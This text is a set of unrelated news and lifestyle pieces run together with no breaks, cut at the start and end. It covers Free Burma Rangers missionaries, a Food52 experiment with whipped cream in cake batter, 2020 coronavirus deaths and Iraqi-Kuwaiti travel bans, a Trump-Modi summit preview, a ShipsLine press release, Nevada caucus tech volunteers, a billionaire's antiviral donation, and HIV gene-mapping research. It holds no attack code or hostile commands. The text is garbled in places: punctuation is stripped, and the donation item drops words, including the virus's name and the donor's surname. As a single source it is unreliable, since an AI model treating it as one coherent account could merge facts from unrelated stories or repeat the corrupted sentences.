workers, and some, desperate for food, started fighting each other and knocking Suuzanne around. She tearfully told her father that she didnt think she was good enough to be there because she felt she didnt love these people. Eubank asked his daughter to pray with him for Gods love. When they finished, Suuzanne said, Jesus is already helping me. I can do this again. Thats supernatural power, Eubank said. Jesus fixes your heart. He admits that life for his family is uncomfortable and, at times, dangerous. Karen and the kids dont normally follow him and other Rangers to the front lines, instead providing food, medical care, and childrens programming usually out of harms way. But enemy lines can shift quickly and unexpectedly. Sahale, Suuzanne, and Peter have grown up like theyre on the Oregon Trail, living like Burmese kids out in the jungle, Eubank explained. The word safety isnt spoken much in the Eubank family. The kids can hunt, fish, and handle knives, and theyve been riding horses bareback since they could barely walk. At one point, in Syria, the two girls raced a bunch of men on Arabian horses and won. Their willingness to live this wild and strange life, serving alongside their parents, has been the greatest gift, Eubank said. Theyre so cooltheyre better than I was as a kid. Despite the risks and the hardship, Eubank maintains that the good things far outweigh it, and that each of his children individually depends on God. Image: Courtesy of Dave Eubank Since 2011, the family has returned to the US annually for a couple of months each year. The kids say they feel like Americans. When stateside, the Eubank children compete in rodeos and climb mountains. Theyve gone skydiving in Europe. But Eubank added that his children know that America is not the center of the universe. The family has always viewed other Rangers as part of their extended family. The children screamed in sorrow when they heard that Zhao had been killedthey had grown up viewing Zhao as an uncle figure to them in Burma. It might seem that, of all people, the Rangers and the people they help should have reason to doubt Gods love. Eubank admits he sometimes finds it challenging to trust in Gods goodness. But ultimately, he falls back on Simon Peters words in John 6:68: Lord, to whom would we go? You have the words of eternal life. Among other things, he experiences Gods goodness when he gives food to someone and sees their happiness, when people support FBR, when he skydives, and when his kids race their ponies. Though he cried daily for a long time after losing Zhao and other Rangers who died, he knows the sorrow is evidence of Gods goodness in creation: You cant have sorrow without love. Celina Durgin is a writer and editor living in Boston, Massachusetts. She has also written on politics and culture for National Review. This article originally appeared on Food52. A dollop of whipped cream is just about the easiest way to top off any baked good. Pound cake? Add whipped cream. Fudgy brownies? Add whipped cream. Shortcakes? Add whipped cream. But all of these are an afterthought. Why not add whipped cream to unbaked goodsyou know, before they go in the oven? Probably because most recipes dont tell us to. In fact, out of all the cakes and brownies and shortcakes and muffins and quick breads Ive baked (of these, there are a lot), not one ever told me to stir whipped cream into the batter instead of dolloping it on top. Advertisement Then I read BakeWise by Shirley O. Corriher. This work won the James Beard Foundation Award for Best Baking and Dessert Cookbook in 2009, so its no surprise that its stuffed with aha! moments. Advertisement Advertisement Advertisement Like wringing whipped cream for all its worth. If you discovered this cookbook when it was first released, then maybe you already know all about this trick. (Psst: Tell us how youve put it to good use in the comments!) Or maybe youre just like me and still wondering: Wait, whipped cream in cake batter? But why? The best part? Going from cream to whipped cream is pretty dang easyespecially if you own a hand or stand mixer. (For by-hand tricks, look no further.) As Hurlbert put it: Just a simple and quick technique can make such a difference in the texture, flavor, and enjoyment. Advertisement Advertisement And thats what Corriher loves about it, toolow effort, big reward: You are introducing more air for a slightly lighter cake, and the texture of whipped cream introduces a softness and a moistness, she writes in BakeWise. Which is to say, the air is an additional leavener in the baked good. I got in touch with Corriher to talk cake and she explained this even further: The difference in cream and whipped cream is the bubbles in the fat. Baking powder and baking soda do not make a single bubble in a dough. They only enlarge existing bubbles. This is why the bubbles in the fat (and in the whipped cream are so important. Whipped cream is a major leavener. Advertisement Advertisement In other words: a major game-changer. Of course, its not totally new. Nothing ever is, right? Theres a whipped creambased cake in the 1975 edition of The Joy of Cooking. And in Roses Heavenly Cakes by Rose Levy Beranbaum, theres a recipe for Whipped Cream Cakeno butter, just whipped cream (which is sort of funny since whipped cream is halfway to butter). When I got in touch with her about the recipe, she told me, My version of this cake is one of my all-time favorite cakes in texture and flavor. And coming from Beranbaum, that means a lot. Advertisement Advertisement By whipping the cream you are adding structure and air bubbles, she said. Moreover, cream itself has a purer, brighter flavor than butter: Processing always destroys some flavor, so by churning cream into butter you still have delicious flavorbut you sacrifice some of the lovely floral notes resident in the cream. Advertisement Advertisement And, surely, there are other whipped cream cakes out there. Do you know em? Share in the comments so we all can have an excuse to bake something else. What fascinated me most about the whipped-cream technique wasnt just the lighter textureor the moister crumb or lovelier flavor. What fascinated me most was Corrihers unabashed excitement that this unusual ingredient changes everything when it comes to baked goods. Advertisement Advertisement Hurlberts recipe calls for 1/2 cup heavy cream, whippedso Corriher started adding just that to other recipes: her own pound cake, and yellow cake layers, and pear-walnut muffins, and French-style fruit cake. There is a whole world of cakes and other baked goods that may be improved by folding in 1/2 cup (118 ml) heavy cream whipped to soft peaks, Corriher writes. Advertisement Cue: Me scurrying to the supermarket, buying all the cream, scurrying back home, and turning on my oven. You with me? The Experiment I selected four very different recipes to get a lay of the land: Marian Burros Plum Torte. A buttery, fruit-studded cake thats as legendary as they come. Food52 Co-Founder Merrill Stubbs describes it as arguably the most famous recipe ever to grace the pages of the New York Times. But can it get even better with whipped cream? (Oh, and since its not plum season in N.Y.C., I used apples instead.) Nigella Lawsons Dense Chocolate Loaf Cake. The word dense is in the very title (in a proud way!), making this a prime candidate for a lil whipped-cream aeration. Will the whipped cream make the cake lighter and fluffier? Plus, how will the trick fare in chocolatey situations? Advertisement Advertisement Advertisement Nancy Silvertons Bran Muffins. A bran muffin thats somehow both more wholesome and more delicious than the rest, writes Genius recipehunter Kristen Miglore. Unlike the other three here, this one is oil-based. Will that have any effect? And can the whipped cream stand a chance against something as sturdy as bran? (P.S. I used oat bran instead of wheat. Just for fun!) The Easiest Shortcakes. The wild card test: This recipe already has creamdun dun dun!1/2 cup plus 2 tablespoons to be exact. Instead of adding more cream (thatd be crazy, right? But also, if you want to try it, please let me know how it goes), I want to see what happens if I whip the amount called for. Will the shortcakes turn out even lighter and fluffier? The Results Advertisement Advertisement Advertisement Marian Burros Plum Torte. This was my favorite makeover of the bunch. After one bite of each, all I could say was, Wow! Such a noticeable difference here. The whipped-cream cake has a domed center (while the original is flat), shrunk more around the edges (I suspect from the additional fat), and has a bouncier consistency when gently poked. After being sliced, the whipped-cream version showed off a higher rise and fluffier crumb. And its significantly more tender and moist. Okay, okay, one more bite to triple check. Verdict: Whipped cream made me love this cake even more. Advertisement Advertisement Nigella Lawsons Dense Chocolate Loaf Cake. Dont worry if it sinks in the middle, Lawson writes in the recipe. Indeed, it will do so because its such a dense and damp cake. Which is to say, if you add more liquid, the middle will sink even more and the sides will scrunch up . Should I have seen this coming? Maybe. Did I learn something from it? Totally. The original is as moist as a cake can be without turning into pudding or fudge, which is what the whipped-cream version reminded me of. Advertisement My coworkers loved it, though, and couldnt care less about its appearance. Honestly, it doesnt even matter, Assistant Buyer Louise de Verteuil said. I would just fill the canyon with more whipped cream. Verdict: Whipped cream threw off the structure of this already-moist-as-can-be cakebut who are we, to judge a cake by its looks? Advertisement Nancy Silvertons Bran Muffins. Coming out of the oven, these looked pretty dang similar. The original recipe had more cracks in its top, while the whipped-cream version was smoother. Coming out of the muffin tin, both had sound structure, and slicing them in half revealed nearly look-alike crumbs. But the taste and texture was where they differed: The whipped cream version had a, well, creamier flavor, and a noticeably softer consistency. If youre feeding a bran muffin skeptic (everyone should love bran muffins, there I said it), the whipped cream made these even more convincing. Verdict: Whipped cream lightened up these bran muffinsboth in the nutty, wheaty flavor and hearty, grainy texture. Advertisement Advertisement Advertisement Advertisement The Easiest Shortcakes. I had no idea what to expect here. The good news is: The whipped-cream variation totally worked. In fact, it worked so well that, at first glance, I could barely tell the two apart. If I looked closer, the whipped cream shortcakes had bumpier topscurious since the whipped cream bran muffins had smoother tops. After many bites, I decided that the whipped cream shortcakes were lighter and more tender in texture. If you listened closely when you broke one apart, you could even hear an exhale of all that air! Verdict: The whipped cream made some small, but positive changes here. But is the difference enough to warrant the extra effort? You tell me. The Takeaway Whipped cream is a baking secret weaponnot just a last-minute garnish. But, like any secret weapon, you have to use it strategically. Here are the big dos and donts: Advertisement Dont try this with a recipe that you havent made before. If you arent familiar with a recipe, then how can you anticipate how it will react to a new ingredient? Try it with an old favorite that you want to give a new spin. Or a cake you are really into, but wish were a little more fluffy, moist, or tender. Advertisement Dont use this on already-moist cakes. Or do! It all depends on how moist you like your cakes. If the batter is runny and pourablelike that chocolate loaf cake or Maialinos famous olive oil cakeits a proceed-at-your-own-risk candidate. These recipes have moisture covered, so the structure will likely suffer. But maybe the ultra-fudgy consistency will be just what you want. Advertisement Do add whipped cream to thick-batter baked goods. Like the plum torte or a pound cake or sturdy muffin. One easy litmus test: Will you have to fold the whipped cream into the batter? (That is to say, incorporate it super gently, so you dont deflate the whipped cream.) If the batter is so thin that you only have to stir it in, see the above paragraph. Advertisement And do have fun experimenting. Can I promise that it will always go perfectly? Course not. But if reading BakeWise taught me anything, it was this: Be curious. Try something new. See what happens. Maybe youll make one of your go-to recipes even better. And if not, there will still be cake. And even when cake isnt great, its great. Plus, youll have some leftover creamto whip and dollop on top. More from Food52: 32 Valentines Day Cookies to Share With Friends & Loved Ones Jammy Tomato Sauce Is a Hands-Free Miracle 26 Valentines Day Gifts Your S.O. Will Actually Find Useful How to Grocery Shop for One This Fractured Miniature Is My Favorite Reminder of My Uncles Life I Thought I Had My Closet Figured OutThen I Met These Hangers A 29-year-old Chinese doctor, who postponed his wedding to treat patients infected with the deadly coronavirus, has died treating them after being infected by the virus, the ninth fatality among the healthcare providers working to contain the outbreak. Dr Peng Yinhua, doctor of a Wuhan hospital who treated patients infected with the coronavirus, died on Thursday night, according to the health bureau. Peng, a respiratory acute care medical professional, became infected while working to combat the novel coronavirus at the First People's Hospital of Jiangxia District of Wuhan. He was hospitalised on January 25 and transferred to the Wuhan Jinyintan Hospital for treatment on January 30. "Peng Yinhua, a frontline doctor at Jiangxia First Hospital in virus epicenter #Wuhan, died of #COVID19 on Thursday night. He had earlier delayed his wedding as he wanted to treat patients with the disease at hospital," state-run Global Times tweeted on Friday. He died from the virus despite doctors' all-out efforts to save his life. Chinese health authorities have asked health agencies to apply for the honour of martyr for deceased medical staff to the veteran's affairs authorities, comfort the families of the deceased and help solve their difficulties, as well as publicise stories of those who sacrificed their lives during the epidemic, state-run Xinhua agency reported. Li Wenliang, the 34-year-old Chinese doctor, who was one of the first people to sound the alarm about the new outbreak died on February 7. Li sent a message to his medical-school alumni group on December 30, warning that seven patients had been quarantined at Wuhan Central Hospital after coming down with a respiratory illness that seemed like the SARS coronavirus. But Wuhan police reprimanded and silenced Li. Earlier, Dr Liu Zhiming, head of the Wuchang Hospital died due to the virus. On the same day Liu Fan, senior nurse of the hospital, died along with her parents and brother due to the virus. China's National Health Commission earlier said that a total of 1,716 medical workers had contracted the infection as of February 11. Peng's death takes the death toll among the medical staff to nine. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Iraqi and Kuwaiti authorities were on high alert Friday after banning travel the previous day to and from Iran, where authorities say the death toll from the new coronavirus has hit four. Iran's health ministry Friday reported two more deaths among 13 new diagnosed cases of the COVID-19 virus, doubling the total number of deaths in the Islamic republic and taking the total number of diagnosed infections there to 18. Since December, the virus has killed more than 2,200 people in China, the epidemic's epicentre. Elsewhere in the world, it has killed over a dozen people and spread across some 26 countries. In the Middle East, two elderly men in Iran were the first confirmed deaths from the virus, which has also spread to the United Arab Emirates, Egypt and Israel, which confirmed its first case on Friday. Both Iraq and Kuwait, which respectively share land and maritime borders with Iran, have not confirmed any cases of the virus internally. But the outbreak in the Islamic Republic has sparked alarm, especially since many of the coronavirus cases involved residents of the holy city of Qom, a popular destination for Kuwaiti and Iraqi Shiites. Shiite leader Moqtada Sadr, a major figure in Iraqi politics, himself studies in an Islamic seminary in Qom. Iraq is a popular destination for millions of Iranian Shiite pilgrims, including religious scholars from Qom, who visit holy sites in the southern provinces of Najaf and Karabala. Iran is also the second-largest exporter of goods to Iraq, sending products to the value of around nine billion dollars annually. Iraq's top Shiite cleric on Friday called on authorities to be ready to stem any outbreak. "The scale of preparations should match that of the threat," said Grand Ayatollah Ali Sistani in his weekly sermon delivered by a representative. "We call on relevant authorities to be up to the level of responsibility". A key player in Iraq, Iran supplies Baghdad with the energy it desperately needs to combat chronic power cuts and wields sizable influence over political and paramilitary factions in the country. American threats of sanctions and tit-for-tat bombings between US and Iranian forces on Iraq's soil have done little to stem the movement of people and goods between Tehran and Baghdad. The COVID-19 virus, however, has triggered unprecedented measures. Iraq on Thursday clamped down on travel to and from the Islamic republic, with Iraq's health ministry announcing people in Iran were barred from entering the country "until further notice". "Iranians are prohibited from entering (Iraq)," a senior official told AFP, adding that border crossings with Iran had been closed, with only returning Iraqis allowed to pass through. Those Iraqis would be examined and, if necessary, placed in quarantine for 14 days, the health ministry said. Iraqi nationals are also not allowed to travel to Iran, according to the ministry. The border closure followed a backlash against a Wednesday announcement of visa waivers for Iranian nationals wishing to travel to Iraq. Iraqis took to social media using the hashtag "close the border" and local officials called for a ban on the entry of goods and people. Iraqi airports were already screening travellers for the virus and national carrier Iraqi Airways has suspended flights to Iran. Iraq had previously issued a ban on the entry of Chinese nationals. In Kuwait, national carrier Kuwait Airways announced Thursday it would suspend all flights to Iran, while its ports will also be closed to passengers travelling to and from the country. Kuwaitis were advised not to travel to Qom, and were warned anyone arriving from the city they would be quarantined. Social media networks have become fertile ground for fears among Iraqis who say the healthcare system -- battered by waves of conflict -- cannot accomodate a coronavirus outbreak. Hospitals are generally poorly equipped in terms of equipment and medicine, while some still require reconstruction and refurbishment. More than 20,000 doctors have left the country since the fall of Saddam Hussein in 2003, according to health professionals. There are less than 10 doctors for every 10,000 people, according to the World Health Organisation. Iraqis are circulating prayers on social media networks, while videos circulating online showed Iraqi and Iranian families lighting incense in their homes with the belief that it will prevent infection. Some said they were turning to herbalists for natural remedies, while others joked that alcohol consumption could combat the virus. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) This weekend, when you're catching up on sleep or heading off for a weekend break, a small army of people are going to be working 24/7 to make sure Monday's summit meeting between two of the world's most powerful leaders goes off flawlessly. That doesn't just include the thousands of government staff organising President Donald Trump and Prime Minister Narendra Modi's roadshow in Gujarat, or the security staff who have the gargantuan job of making sure the unthinkable remains exactly that. Trade negotiators, defence experts, diplomats, politicians and intelligence officials are all going to burning the midnight oil, until the moment Air Force One touches down on Monday. 1. BACKSTAGE: THE NUTS AND BOLTS OF A PERFECT SUMMIT MEETING Long before President Trump lands in Ahmedabad on Monday, hundreds of Secret Service Agents began working with India's Intelligence Bureau and the Special Protection Group to make sure both he and Prime Minister Modi will be secure through the course of their two-day summitno small challenge when they'll be appearing before almost-impossible-to-police crowds of hundreds of thousands. In addition to the specially-modified Boeing 747 Trump will be flying on, he'll be bringing with him a car capable to withstanding explosive blastsand top-secret communications equipment that can even let him unleash America's nuclear arsenal remotely. Through Monday and Tuesday, we'll be casting light on the backroom boys who've put together the perfect summita cast of characters including spies and hospitality workers, hospitality workers and diplomats, who've worked to make this summit work. Don't miss: Praveen Swami's special report Trump's security; Rohini Nair's special report on the US First Ladies in India. 2. THE ECONOMY: EXPECT NEGOTIATIONS TO BEGIN ON A COMPREHENSIVE ECONOMIC PARTNERSHIP AGREEMENT The bedrock of the India-United States relationship, ever since it began to flower in the late-1980s, has been the economybut, in recent years, protectionism in the United States and the slowdown in India have raised questions on its future. The bad news is that India and the US won't be signing the limited Free Trade Agreement many had hoped for. They've chosen, instead, to work on something far bigger: a Comprehensive Economic Partnership Agreement, that will encompass not just duty-free trade of merchandise, but also free movement of professionals and easier investment norms. The deal will take time of hammer out, because of its enormous complexity, but when it's done, it should be a game-changer. Don't miss: Parikshit Luthra's special reports on the India-US economic negotiations. 3. DEFENCE: 8-10 BIG DEALS LIKELY TO FIRM UP, HELPING TO GROW THE INDIA-US PARTNERSHIP From the early 2000s, the United States has emerged as India's second-largest defence supplier. This visit will see the firming up of 8-10 major acquisition decisions, worth around $10 billionamong them, the $2.6bn. acquisition of 24 MH60 helicopters for the navy, and 6 AH64E Apache attack helicopters valued at $795 million. There will also be negotiations on the acquisition of the NASAMS air-defence system, part of a three-tier ring to guard our cities, and the P8I long-range maritime surveillance aircraft. The United States will also push for India to purchase its F21 combat jets. There are tensions in the relationship: the US hasn't been as willing to part with technology for India's indigenous defence industry as New Delhi hopes, while Washington is irked by New Delhi's purchase of the S-400 air-defence system from Russia. But the two sides have shown the ability to overcome differences in the pastlaying the foundations for a defence relationship critical to shaping Asia's future security. Don't miss: Defence analyst Abijnan Rej's analysis of the India-US defence relationship, and its dramatic growth. 4. ELEPHANT IN THE ROOM: WILL MODI AND TRUMP FIND MIDDLE-GROUND ON KASHMIR, AFGHANISTAN AND PAKISTAN? Last month, President Trump set alarm bells ringing in New Delhi's strategic establishment when he said he was negotiating borders, and a future course of action on Kashmir, with Pakistan's prime minister, Imran Khan. He's irked New Delhi in the past by offering to mediate on Kashmiran absolute no-no for India, which insists the conflict is a bilateral matter to be resolved with Pakistan. That isn't all: Trump's peace deal with the Taliban holds out the prospect that the jihadist organisation, closely-linked to Pakistan's Inter-Services Intelligence, could soon wield significant power in Afghanistan. For New Delhi, all this raises the nightmare prospect of a Pakistan Army more assertive in using its jihadist proxies against India. Behind closed doors, the two leaders will be discussing this complex geo-political jigsaw puzzle, trying to find middle-ground. 5. ENDURING GAINS: THE ORDINARY INDIANS WHO'VE POWERED THE INDIA-US RELATIONSHIP, AND WHY THEY NEED THIS SUMMIT Late in the nineteenth century, when the first Indian immigrants arrived in the United States as agricultural workers hoping for better lives, they could never have imagined where the community stands today. Indians are now the second-largest foreign-born ethnic group in the United States, after Mexicansand solidly represented at the top of its structure of power, including the economy, government, academia and politics. Even though United States-born and Indian-born Americans together make up just 1% of the country's population, too small a community to be of direct electoral significance, their influence gives them almost unrivalled heft and influence. Irrespective of the many crisis India and the United States have encountered over the decades, the community has ensured the relationship has grown. Now, though, the community faces new challenges, ranging from visas to rising nationalismand is hoping the goodwill from the summit will help resolve these problems. Don't Miss: News18's continuous coverage of Donald Trump's India visit. YEREVAN, ARMENIA / ACCESSWIRE / February 21, 2020 / Traveling can be an enjoyable and profitable experience with Shipsline.com. ShipsLine connects travelers to shippers through its P2P online platform. It allows travelers to earn money by selling their unused luggage space to shippers who would like to send products to traveler's destination. The process of how the platform works 1. Visit https://shipsline.com/sign-up 2. Sign up and become a member 3. Post a shipment or add a trip Shippers can look where travelers are traveling and check their flight times at the website and apply for their items to be shipped to the desired destination. Travellers can look what shippers would like to send to the traveling destination. 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Media contact Company Name: ShipsLine Contact: Arman Harutyunyan Telephone: +37455151555 Email: shipslinellc@gmail.com Website: https://shipsline.com SOURCE: ShipsLine View source version on accesswire.com:https://www.accesswire.com/577321/Armenian-Tech-Start-Up-Shipsline-Creates-Future-of-Traveling LAS VEGAS - The appeal to tech-savvy Democrats went out the week after technology crashed the Iowa caucuses - and days before the presidential nominating contest was set to touch down in Nevada. The pitch was simple: "Your democracy needs you!" That was the opening line of the email from Raffi Krikorian, the former chief technology officer at the Democratic National Committee. He sent the missive, obtained by The Washington Post, on Feb. 12, as Democrats in Iowa were still coming to grips with their bungled caucuses, thrown into disarray by a glitch in the software used to transmit results. The debacle became a case study in how technology can mar an election. Krikorian, who has done stints at Uber and Twitter, wanted to make sure it did not happen again Saturday, when Democrats in Nevada convene at about 250 locations to weigh in on the nominating contest. As he wrote, "a group of us are helping the Nevada Democratic Party to try to bring technical volunteers in to help with the Nevada Caucuses." He asked whether people would be willing to travel to the Silver State, providing a Google sign-up sheet. Many were willing to assist. But some volunteers arrived on the eve of Saturday's caucuses with no instructions from the party - underscoring enduring organizational problems plaguing Democrats in the early days of their nominating contest. The recruitment drive The recruitment drive illustrates how Democratic-aligned tech buffs are grappling with their role following the Iowa breakdown. It also reveals the extent to which state parties responsible for running caucuses - rather than election officials who carry out the primaries - depend on volunteers to execute the high-stakes contests. The task has become even more challenging since the DNC set transparency rules aimed at restoring public trust following allegations of bias that roiled the 2016 primary. Those regulations require the reporting of raw support, in addition to the allocation of delegates, meaning volunteers are under heightened scrutiny as they calculate and record an expanding web of numbers. The dependence on volunteers in particular creates risks and accountability gaps, according to lawmakers and experts. "The state party obviously can't afford to hire a large number of computer professionals to do this," said Rep. Zoe Lofgren, D-Calif., who chairs the congressional subcommittee that oversees federal elections. "They're going to rely on volunteers, and that may or may not be suitable." The reliance on volunteers is perhaps most apparent in the last-minute development of new technology to ease the tabulation and verification of results on caucus day in Nevada, after the state party ditched reporting tools built by the same start-up, Shadow Inc., used in Iowa's first-in-the-nation contest. The new tool, which relies on customized Google software loaded on about 2,000 party-purchased iPads, was devised by Josh Hendler, according to people familiar with the planning who spoke on the condition of anonymity to discuss sensitive matters. Hendler, who has no formal role with the Nevada Democrats but previously served as director of technology at the DNC, declined through a spokeswoman for the state party to comment. He is now chief technology officer and head of product at Purpose, a New York-based "social impact agency." The software involves a 13-step Google Forms configuration aiding volunteers as they count caucus-goers, catalogue their preferences and award delegates. To log in, volunteer caucus leaders will enter a precinct number and a password. Every piece of data they punch into the iPad will also be written by hand on a "caucus math poster" hung on the wall at precincts. While the data from the iPads will feed back to the state party, Saturday's results will also be called into a hotline staffed by a professional call center. In addition, volunteers are asked to text in a photo of a "caucus reporting sheet." And preference cards completed by each caucus-goer will serve as an underlying paper trail if the results require thorough verification. The hotline number will not be made available until Saturday, in an effort to guard against its online circulation, which occurred in Iowa and gave rise to a flood of prank calls. "This is the most important tool you have," caucus leaders were instructed during a training webinar this week, in reference to the hotline. Where the calculator is most critical is in combining data from the state party's four-day early voting period - introduced for the first time this year - with caucus-day counts, an intricate process of matching ranked-choice preferences completed ahead of time with precincts across the state where Democrats will conduct live caucuses on Saturday.Precinct leaders who choose to forgo use of the tool, or who are unable to operate it, will have to rely on printouts of early-vote preferences and amalgamate those results by hand with the numbers on caucus day. "This is a labor-intensive but low-skill task," said Greg Moody, a professor of information systems at the University of Nevada in Las Vegas. While any digital tool has vulnerabilities, Moody added, the setup seemed relatively secure from what he had learned of it.The greater risk, he warned, may be human error, particularly because of the many different figures that volunteers are required to enter - a result of complex reporting requirements handed down by the DNC. Volunteers in Nevada were able to test the iPads for the first time Tuesday, and additional training sessions occurred Thursday and Friday. The campaigns were also briefed on the tool Tuesday, and multiple aides said they were confident in the software. Nevada Democrats consulted with DHS, as well as with "independent security and technical experts," on the software, according to a memo from Alana Mounce, the executive director of the state party. Ensuring that the iPads remain up and running was the key aim behind the tech support volunteer team assembled by Krikorian. By Monday, nearly 50 people had committed to providing tech support, virtually all of them coming from out of state, according to a planning document obtained by The Post. Among the groups activated were DigiDems, which embeds tech talent on Democratic campaigns, and Higher Ground Labs, an incubator for campaign-tech start-ups. The document included suggestions for selling the opportunity to people, including "sense of mission (super hero vibes around democracy, liberty, voting)." Compensation was not one of the selling points. "Unfortunately, we cannot reimburse you for your flights, accommodation, or food," read an email update sent from "techvols@nvdems.com" on Monday. "This is a big ask for many people, and we are so grateful to those with the time and resources to be able to do this." Also on Monday, the DNC's technology team took the reins on the volunteer recruitment, in a sign that the national party is girding itself for mishaps on Saturday. The party requested access to the Google Doc where planning was unfolding. And the DNC's deputy chief technology officer, Kat Atwater, was identified as the "overall tech volunteer owner" in the document, which had set an aim of finding 250 volunteers, to match tech support one-to-one at sites across the state. It was unclear if that goal had been met as of Friday, when party officials did not respond to requests for comment about the precise size of the effort, or whether the tech volunteers would undergo training. Some outside volunteers who had been mobilizing possible recruits stepped back as the party stepped in. Some reinforcements arrived Friday without directions about what to do. After landing in Las Vegas, one person wrote in an email that, "there has been no follow-up, we are here in Vegas, and don't know where to report for duty or what we should be doing to help." Xochitl Hinojosa, a spokeswoman for the DNC, said the national party was recruiting volunteers "to help on all sorts of fronts, including tech." The DNC has about three dozen staff on the ground in Nevada, which marks an expansion of its footprint since Iowa. "We've had a tech team here, we've had comms folks here, organizers," Tom Perez, the chairman of the national party, said in a brief interview, adding that the party was "going to school on the lessons of Iowa." "We're working hard to make sure we produce a caucus that is as low-tech as humanly possible while still maintaining efficiency," Perez said. Molly Forgey, a spokeswoman for the state party, said tech support at caucus sites will "help troubleshoot in real time." To identify themselves, the volunteer tech unit made T-shirts for Saturday. "Ask me questions about tech!" reads the text on the blue garments. With the number of volunteers still in flux, it is not clear how many caucus chairs will have that opportunity. _ _ _ The Washington Post's Tony Romm and David Weigel contributed to this report. China's tech billionaire has pledged over USD 2 million to support the development of antiviral drugs to combat the new which has killed 2,236 people in the country and infected more than 75,000 The World Health Organization (WHO) has declared the epidemic as a public health emergency. In accordance with a deal signed between the foundation and Columbia University, the 15 million yuan will be used for supporting a research project led by Dr David Ho, a world-renowned HIV/AIDS researcher with the university, state-run Xinhua news agency reported. The researcher will lead in setting project objectives, conducting research and tracking results, said a source of the foundation based in Hangzhou, Zhejiang province. Since the outbreak of COVID-19 in China, with Wuhan as the epicenter, Ho and many researchers at Columbia University have been following the situation closely and started related work to combat the virus, the report said. In support of the cooperation project, Columbia University has set up a multidisciplinary team involving professionals in virology, molecular biology and chemistry who proposed four different new solutions to tame the pathogen, according to the source. China's richest man, 55-year-old Jack, is the co-founder and former executive chairman of the Chinese multinational technology conglomerate Alibaba group. The has killed as many as 2,236 people, mostly in the hard-hit Hubei province, and infected 75,465 others, according to the Chinese health officials. A number of countries including US, UK, Japan Sri Lanka, Bangladesh and Nepal have evacuated hundreds of their nationals while about 800 to 1,000 Pakistanis are still in the area. The virus outbreak originated in China's Hubei province in December and has spread to more than 25 countries, including India. Many countries have banned arrivals from China while major airlines have suspended flights to the country. Viruses are parasites. The only way they can grow is by hijacking their hosts. When they infect a human host, viruses use human proteins to multiply and modify the human cells to sustain the infection. At the same time, the human host activates defense mechanisms to fight the infection. Most current drugs against viral infections target the virus itself. But scientists are interested in developing therapies that aim for host proteins instead, or the genes that produce them, in part because such therapies are believed less likely to elicit drug resistance. A detailed understanding of virus-host interactions is crucial to the success of this strategy. A team of Gladstone Institutes scientists led by Senior Investigator Nevan Krogan, PhD, has been cataloging host proteins that physically bind to virus proteins. These physical interactions identify human proteins that the virus can use to infect cells and propagate. However, they don't reveal how host proteins work together to facilitate infection. To address this gap, Krogan and staff scientist David Gordon, PhD, with colleagues at UC San Francisco (UCSF), University College Dublin, and the Mount Sinai School of Medicine, have developed a new way to understand how host cells control HIV infection in human cells. Their approach entails disrupting host genes rather than proteins. It is based on the idea, pioneered by Krogan, that you obtain richer information about the functions of genes--and the proteins they encode--when you disable the genes in pairs, instead of one by one. In a paper published in Molecular Cell, the team describes a map of the genes controlling HIV infection in human cells, which they built by assessing more than 63,000 combinations of human genes associated with HIV infection. HIV is a major public health concern, with an estimated 36.7 million people living with chronic infection, and over 20.9 million people receiving continuous treatment. Studying the impact of gene disruptions in pairs rather than one by one yields important information on how genes work together to mediate virus infection, highlighting processes we can target with drugs to inhibit infection." Nevan Krogan, Ph.D., senior investigator, professor of Cellular and Molecular Pharmacology at UCSF, and the director of the UCSF Quantitative Biosciences Institute The map, which the team refers to as a viral epistasis map (vE-MAP), is an essential advance for HIV research in several other ways. For one thing, it uncovers a previously unsuspected set of genes required for the growth of the virus in human cells. For another, the vE-MAP can be used to analyze how different HIV mutants affect host cells or to test drugs that disrupt HIV-host interactions. Strength in numbers The vE-MAP is an adaptation of the E-MAP, which Krogan and his colleagues pioneered and refined over the past 15 years to identify genes that control how cells grow. At the core of this approach is the Krogan lab's ability to disrupt a large number of genes, test them in pairs, and analyze the results via sophisticated computational methods. "The principle behind E-MAPs is that when you disrupt two genes at once and examine the impact on a cell, you sometimes see effects that are significantly larger or smaller than you would have predicted from the effect of disrupting either gene alone," said Krogan. These unexpected effects suggest that the functions of the two genes are related. Moreover, by carrying out these pairwise disruptions across hundreds of genes, scientists can find groups of genes with similar patterns of interactions, a sign that they are likely to take part in the same molecular process. "And so, instead of finding important genes one at a time, you can all at once identify multiple, distinct networks of genes affecting the process you are studying," said Gordon. The E-MAP approach has mostly been used to study cell growth. Gordon, in collaboration with a student from University College Dublin, Ariane Watson, had to modify it to study virus infection. The most tricky part was to implement a sophisticated data acquisition and scoring system, which allowed them to measure HIV infection accurately across hundreds of thousands of samples, and compare the effect of pairwise and single-gene disruptions. It would be an overwhelming effort to test all combinations of the over 20,000 protein-coding genes in the human genome. Instead, the scientists focused on genes already suspected to influence HIV biology. In particular, they used the genes encoding a large number of human proteins that the Krogan lab had previously found to bind to HIV proteins. In all, they included over 350 genes in their analysis and tested over 63,000 pairwise disruptions. New players at the HIV-host interface Although HIV is one of the best-studied human viruses and is now well-controlled by antiretroviral therapy, there is no cure for HIV/AIDS. Moreover, antiretroviral therapy is costly, which can make it impractical in resource-poor countries. The search for new means of halting or eradicating the virus is, therefore, still a priority. Among the genes that stood out in the vE-MAP were several members of the CNOT family, whose role in HIV biology had never before been established. The authors demonstrated that the CNOT complex promotes HIV infection by suppressing innate immunity in CD4+ T cells, the type of immune cells that HIV preferentially targets in humans. Innate immunity is a defense mechanism by which host cells can fight infection. "The impact of CNOT on innate immunity is a key, yet previously unrecognized, host pathway critical to HIV infection. It will serve as a potential novel therapeutic target in future studies," said Krogan. For instance, scientists can now study if targeting the CNOT complex with drugs could be a way to help HIV patients fight the infection more effectively. Furthermore, the vE-MAP uncovered genes that had little impact when disrupted individually, but a great effect when tested together. "These genes would be overlooked in classic, single-gene disruption experiments," said Gordon. "They confirm the potential of the vE-MAP to uncover new mechanisms by which HIV interacts with human cells." Combining drugs that target two of these genes at the same time might thus be a promising therapeutic strategy, especially for a virus such as HIV/AIDS, which has evolved multiple ways of tapping its hosts' resources. The vE-MAP was also able to pick up genes that specifically interact with a known HIV mutant. This observation bodes well for the ability of the vE-MAP to identify distinct host factors affecting the various forms of HIV, or the virus mutants that arise in response to currently available drugs. Additional testing with a drug known to interfere with HIV-associated human proteins gives the authors confidence that their vE-MAP approach could, in the future, be used to screen for novel anti-HIV drugs and to understand their mode of action. "This vE-MAP provides an unprecedented view of how HIV hijacks and rewires 